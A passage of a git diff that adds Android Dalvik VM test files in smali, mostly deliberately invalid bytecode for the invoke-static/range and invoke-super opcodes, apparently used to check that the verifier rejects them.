+# limitations under the License.
+
+.source "T_invoke_static_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 5
+       invoke-static/range {v2}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5;->test(I)I
+       move-result v0
+       return v0
+.end method
+
+.method public test(I)I
+.registers 5
+
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali
new file mode 100644
index 0000000..fbefdfc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7;->testN()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali
new file mode 100644
index 0000000..dd3ab26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testPvt()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali
new file mode 100644
index 0000000..fbe3695
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali
new file mode 100644
index 0000000..e8a7f97
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali

@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali
new file mode 100644
index 0000000..ee0681e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_1.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_1;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+
+       invoke-super {v7}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_1;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali
new file mode 100644
index 0000000..8cef3ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_10.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-super {v0}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_10;-><clinit>()V
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali
new file mode 100644
index 0000000..ac33c05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_11.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali
new file mode 100644
index 0000000..1f35f3c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_12.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_12;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 8
+
+       invoke-super {v5, v5}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_12;->testString(Ljava/lang/String;)V
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali
new file mode 100644
index 0000000..eadac0a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_13.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_13;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method private toIntPvt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_13;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali
new file mode 100644
index 0000000..5f45236
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali

@@ -0,0 +1,61 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_14.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_14;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v3, 300
+    const v4, 3
+
+    invoke-super {v6, v3, v4}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method public testArgsOrder(II)I
+.registers 4
+    const v0, 0
+    return v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali
new file mode 100644
index 0000000..e5d3db6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_15.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_15;->testN()V
+       return-void
+.end method
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali
new file mode 100644
index 0000000..b2addd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali

@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_16.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-super {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali
new file mode 100644
index 0000000..e43dcc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_17.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_17;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali
new file mode 100644
index 0000000..870b038
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_18.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
+.registers 5
+
+       invoke-super {v4}, Ldot/junit/opcodes/invoke_super/TestStubs;->TestStub()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali
new file mode 100644
index 0000000..0e0ef34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_19.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_19;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 1
+       invoke-super {v3, v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_19;->toInt(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali
new file mode 100644
index 0000000..f36eb6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_2.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_2;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+       const v7, 0    
+       invoke-super {v7}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_2;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali
new file mode 100644
index 0000000..8a88377
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_20.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
+.registers 5
+
+       invoke-super {v4}, Ldot/junit/opcodes/invoke_super/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali
new file mode 100644
index 0000000..b3f27694
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_22.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_22;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super/d/TPlain;-><init>()V
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali
new file mode 100644
index 0000000..76e9c69
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_23.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_23;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali
new file mode 100644
index 0000000..5233276
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_25.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 4
+
+       new-instance v3, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;
+       invoke-super {v3}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;->toInt()I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali
new file mode 100644
index 0000000..ce86aba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_4.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_4;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_4;->toIntNative()I
+       return-void
+.end method
+
+

